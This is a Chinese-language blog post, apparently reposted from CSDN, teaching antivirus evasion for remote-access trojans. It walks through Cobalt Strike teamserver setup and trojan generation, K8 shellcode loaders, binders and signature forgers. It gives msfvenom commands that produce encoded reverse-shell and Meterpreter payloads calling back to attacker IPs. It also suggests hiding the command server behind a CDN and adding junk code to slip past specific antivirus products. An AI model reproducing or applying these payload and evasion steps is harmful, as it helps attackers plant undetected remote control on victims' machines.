殺毒與免殺技術詳解--白嫖黨福音

0x01 簡介

不管是社工釣魚，還是一句話木馬getshell，遠控，亦或者是反彈shell，都會遇到殺軟waf這些大敵，當然主要還是殺軟，因此我們不得不考慮免殺進而實現我們滲透測試目的。

0x02 概念

2.1 免殺類別

簡單總結下我知道的免殺類別：

一句話木馬繞狗（我覺得他不應該出現在這里，但為了致敬我學習的第一個免殺，把他放了出來）

文件不落地

shellcode加密

修改源碼增加花指令

DLL加載

自定義加載器

指定特定的運行方式

加殼

當然還可以按照大的類別劃分

靜態掃描免殺

內存掃描免殺

流量分析免殺

行為分析免殺

逆向分析免殺

機器學習免殺

由于弟弟水平有限，知道的東西很少（流量分析，逆向分析一點不懂，機器學習更是一臉懵逼），望哥哥們見諒，當然最好能留下些建議或者私下能和弟弟交流下。

2.2 免殺工具

推薦一些公開流傳的k8工具：

文字：

sc加載器（具體下面有介紹）

K8免殺系統自帶捆綁器加強版V2.0

K8數字簽名添加器

K8隨機免殺花指令生成器V2.0（只是生成花指令）

圖片：

大概的總結下k8工具過免殺思路吧：

1.sc加載器實現繞過，原理在于加密

2.利用其他安全軟件的數字簽名，進行繞過

3.捆綁正常的軟件，進行繞過

4.增加沒有實用效果的花指令進行繞過（花指令需要自己加然后編譯）

既然是免殺，當然不能忘記cs：

cs（Cobalt Strike）的話我只有三個版本，v3的兩個版本,還有v4.0的，cs是一個強大的免殺工具，并且支持c2在線團隊使用。對于很多大佬來說肯定是十分熟悉的，弟弟我只能簡單的介紹下其簡介：

cs擁有多種協議主機上線方式，集成了提權，憑據導出，端口轉發，socket代理，office攻擊，文件捆綁，釣魚等功能。同時，cs還可以調用Mimikatz等其他知名工具。

0x03 實踐

說的再多也不如拿真實情況來說話，實踐主要對上述的六種工具做下簡單的使用，并利用線上沙箱進行簡單的查殺檢測。

3.1：Cobalt Strike-3.12

因為是淺談，再有就是我實在是太懶了，能縮水就縮水，求饒過別打我。

3.1.1：安裝sever

我用的啊某云的云當的sever，這里需要注意的是只能用linux的，并且安裝好java，3.12的有不同的包，而4.0的只有一個包。接下來主要以3.12為主。

3.1.2：啟動sever

啟動的格式：

./teamserver <host> <password>

3.1.3：啟動client

端口50050是默認的。然后用戶名隨意，密碼和host是之前添加的。

3.1.4：建立一個監聽

根據自己的需要建立一個監聽

3.1.5：生成一個exe

當然還可以生成別的，這里只做測試，簡略操作，不然光cs就能寫一個系列。

當然還有其他格式的木馬

   HTML Application 生成惡意的HTA木馬文件；

   MS Office Macro 生成office宏病毒文件；

   Payload Generator 生成各種語言版本的payload;

   USB/CD AutoPlay 生成利用自動播放運行的木馬文件；

   Windows Dropper 捆綁器，能夠對文檔類進行捆綁；

   Windows Executable 生成可執行exe木馬；

   Windows Executable(S) 生成無狀態的可執行exe木馬

3.1.6：目標上線

之后就可以實遠控了，輕則控制桌面，重則橫向，獲取域控，但要時刻謹記網絡安全法，做有授權合法的滲透。

放張圖，自己看：

3.1.7：在線沙盒查殺

直接放個查殺結果連接：

https://r.virscan.org/language/zh-cn/report/855d5e6b12061dd0da0d048458ef7441

3.1.8：總結

為了更加真實我用的本機打開的木馬，火狐全程無提醒，但是通過流量分析和走向能發現。

這里是能獲取到遠程ip的，但是如果我們換個騷思路，加個cdn，他還咋發現emmm。當然cs的功能還有很多，這里只做簡單介紹。

3.2 k8工具

k8工具，流傳的比較廣，因此有些免殺效果一般，而sc加載器利用原理不外乎是加密。

3.2.1：羅列下工具

   [+] 免殺工具 scrunBase64 ShellCode免殺加載器(CS & MSF)

   [+] 免殺工具 scrunBase32 ShellCode免殺加載器(CS & MSF)

   [+] 免殺工具 scrun.exe & scrun.py ShellCode免殺加載器(CS & MSF)

   [+] 免殺工具 K8SCENCODE(CS & Msf免殺工具).rar

   [+] 免殺工具 K8隨機免殺花指令生成器V2.0.exe

   [+] 免殺工具 K8數字簽名添加器.exe

   [+] 捆綁工具 K8免殺系統自帶捆綁器加強版V2.0.EXE

接下來主要說下sc加載器，因為其他的捆綁或者數字簽名軟件完全是傻瓜操作，花指令更是知識和生成花指令，編譯還得自己整，當時做的截圖找不到了，我也不想再做一遍了。。。

3.2.2：利用msf生成個shellcode先(用cs也可以)

msf生成shellcode命令：

msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c

3.2.3：將shellcode轉化為hex格式，再利用sc加載器加載：

3.2.4：msf發現上線

3.2.5：在線沙盒查殺

用的txt，因為是無文件落地：

https://r.virscan.org/language/zh-cn/report/69f9ffe3e1a9780d0e1d2942efa203d2

3.2.6：總結

簡單的說下優缺點吧：

優點：無文件落地，避免了防火墻，無樣本可以分析。

缺點：需要sc加載器，不然沒效果，不落地方案操作會被提醒。

3.3 msf生成木馬

這個應該很簡單吧，做下簡單介紹吧，如果想利用更的操作，可以show paload，根據自己需求。

3.3.1 生成exe木馬

生成命令：

msf -p windows/shell_reverse_tcp LHOST=192.168.111.139 LPORT=1235 -e x86/shikata_ga_nai -i 12 -b '\x00' -f exe > shell.exe

附圖：

為了照顧新加入的哥哥，貼下msf opthions：

-p, —payload  指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload，請使用'-'或者stdin指定-l, —list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all-n, —nopsled  為payload預先指定一個NOP滑動長度-f, —format  指定輸出格式 (使用 —help-formats 來獲取msf支持的輸出格式列表)-e, —encoder [encoder] 指定需要使用的encoder（編碼器）-a, —arch  指定payload的目標架構—platform  指定payload的目標平臺-s, —space  設定有效攻擊荷載的最大長度-b, —bad-chars  設定規避字符集，比如: '\x00\xff'-i, —iterations  指定payload的編碼次數-c, —add-code  指定一個附加的win32 shellcode文件-x, —template  指定一個自定義的可執行文件作為模板-k, —keep 保護模板程序的動作，注入的payload作為一個新的進程運行—payload-options 列舉payload的標準選項-o, —out  保存payload-v, —var-name  指定一個自定義的變量，以確定輸出格式—shellest 最小化生成payload-h, —help 查看幫助選項—help-formats 查看msf支持的輸出格式列表

3.3.2：在線查殺

附上在線查結果連接：

https://r.virscan.org/language/zh-cn/report/adbcb14c4708ea7bf7f6f6c6668d1b70

如果想要繞過更多殺軟，例如360，可以進行加鹽處理，就是生成c語言shellcode，之后添加無用的東西。

3.3.3：總結

Metasploit是最為常用的滲透框架，他包含了世界上最大而且經過測試攻擊的代碼數據庫。所以，熟練掌握Metasploit也是一個滲透人員的基本功吧，所以這個地方沒寫 太多。

免殺原理：利用msf加載器，對我們攻擊載荷文件進行重新的排列編碼，改變可執行文件中的代碼形狀，避免被殺軟認出

優點：操作簡單，代碼數據庫多。

局限：不適合團隊合作使用，在真實對抗中，需要實現長期維持的目的，因此更會有傾向的選擇相應工具，包括c2框架（弟弟單純的想法，如有錯誤，請哥哥們指正）

3.4 其他c2框架生成shellcode

除了cs，msf以外我個人還比較喜歡用帝國（empire），當然還是根據個人喜好來，我會附上幾款read-team框架供哥哥們參考，在此不做贅述。

0x04 碎碎念

我在這里挖了個坑，有些東西沒有詳細介紹，例如cs，還有一些免殺方法也沒有實踐舉例（例如DLL加載，自定義加載器，指定特定的運行方式，加殼，還有我不會的流量分析）。

其實是有筆記在的，但是！但是！我想多要幾個贊，我之前發表的文章有些一個贊都沒有的說，明明是有人看的（例如AI王者榮耀），點贊量滿意了，妹妹就放出來更多干貨：

免殺系列相關的內容：其他好用的c2框架以及簡單使用，cs的更多利用方式

其他會的一些東西和筆記：一些社工奇淫技巧，一些很騷的wenshell木馬原理，低中高交互的蜜罐以及搭建，beef的高級應用，朔源取證工具使用，內網滲透思路，提權，哪怕信息收集都是有一些東西在的

好了以上都是妹妹的碎碎念，其實我都不會的，我就是吹吹牛，記得點贊哦。

原文鏈接：https://python1.blog.csdn.net/article/details/112661486?spm=1001.2101.3001.6650.15&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-15.highlightwordscore&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-15.highlightwordscore